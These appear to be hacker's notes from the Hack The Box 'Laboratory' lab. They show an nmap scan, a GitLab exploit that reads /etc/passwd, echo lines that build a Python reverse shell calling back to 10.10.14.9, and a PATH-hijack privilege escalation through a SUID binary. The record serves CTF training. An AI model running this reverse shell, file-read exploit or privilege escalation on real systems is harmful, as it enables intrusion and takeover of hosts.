┌──(kali㉿kali)-[~/htb/laboratory]
└─$ nmap -sC -sV -T4 -p- 10.10.10.216
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-10 13:18 CEST
Nmap scan report for 10.10.10.216
Host is up (0.10s latency).
Not shown: 65532 filtered ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
|   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp  open  http     Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after:  2024-03-03T10:39:28
| tls-alpn: 
|_  http/1.1
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

┌──(kali㉿kali)-[~/htb/laboratory/gitlab_RCE]                                                                                                                                                                                               
└─$ python3 gitlab_rce.py https://git.laboratory.htb 10.10.14.9                                                                                                                                                                             
Gitlab Exploit by dotPY [insert fancy ascii art]                                                                                                                                                                                            
registering qCCx5YaO5A:MYuG9u7X8v - 200                                                                                                                                                                                                     
Getting version of https://git.laboratory.htb - 200                                                                                                                                                                                         
The Version seems to be 12.8.1! Choose wisely                                                                                                                                                                                               
delete user qCCx5YaO5A - 200
[0] - GitlabRCE1147 - RCE for Version <=11.4.7
[1] - GitlabRCE1281LFIUser - LFI for version 10.4-12.8.1 and maybe more
[2] - GitlabRCE1281RCE - RCE for version 12.4.0-12.8.1 - !!RUBY REVERSE SHELL IS VERY UNRELIABLE!! WIP
type a number and hit enter to choose exploit: 1
Start a listener on port 42069 and hit enter (nc -vlnp 42069)
please type in the fully qualified path of the file you want to LFI. Uses /etc/passwd when left empty: /etc/passwd
registering rz10ZjfUVx:ctBMkXgPZV - 200
creating project kuqjU4uluM - 200
creating project cHROKcfK06 - 200
creating issue ivjBkmSxON for project kuqjU4uluM - 200
moving issue from kuqjU4uluM to cHROKcfK06 - 200
Grabbing file passwd


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

echo "import socket" > script.py
echo "import subprocess" >> script.py
echo "import os" >> script.py
echo "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)" >> script.py
echo 's.connect(("10.10.14.9",9001))' >> script.py
echo "os.dup2(s.fileno(),0)" >> script.py
echo "os.dup2(s.fileno(),1)" >> script.py
echo "os.dup2(s.fileno(),2)" >> script.py
echo 'p=subprocess.call(["/bin/sh","-i"])' >> script.py

SUID

/usr/local/bin/docker-security (Unknown SUID binary)

dexter@laboratory:/usr/local/bin$ cat docker-security 
ELF>p@9@8
         @@@@h   -==X`-=DDPtdH H H <<QtdRtd-==/lib64/ld-linux-x86-64.so.2GNUfT'N]NfGemM%i x "setuidsystem__cxa_finalizesetgid__libc_start_mainlibc.so.6GLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_rH=F/DH=/H/H9tH/Htle7ui  H=i/H5b/H)HH?HHHtH.HfD=)/u/UH=.Ht/f1I^HHPTLjH
                                                         H=
H0zRx{UHH=H=]AWL=O,AVIAUIATAUH-@,SL)CHtLLDAHH9u[]A\A]A^A_chmod 700 /usr/bin/dockerchmod 660 /var/run/docker.sock<(X
...

#!/bin/bash
bash

export PATH="/home/dexter:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/snap/bin"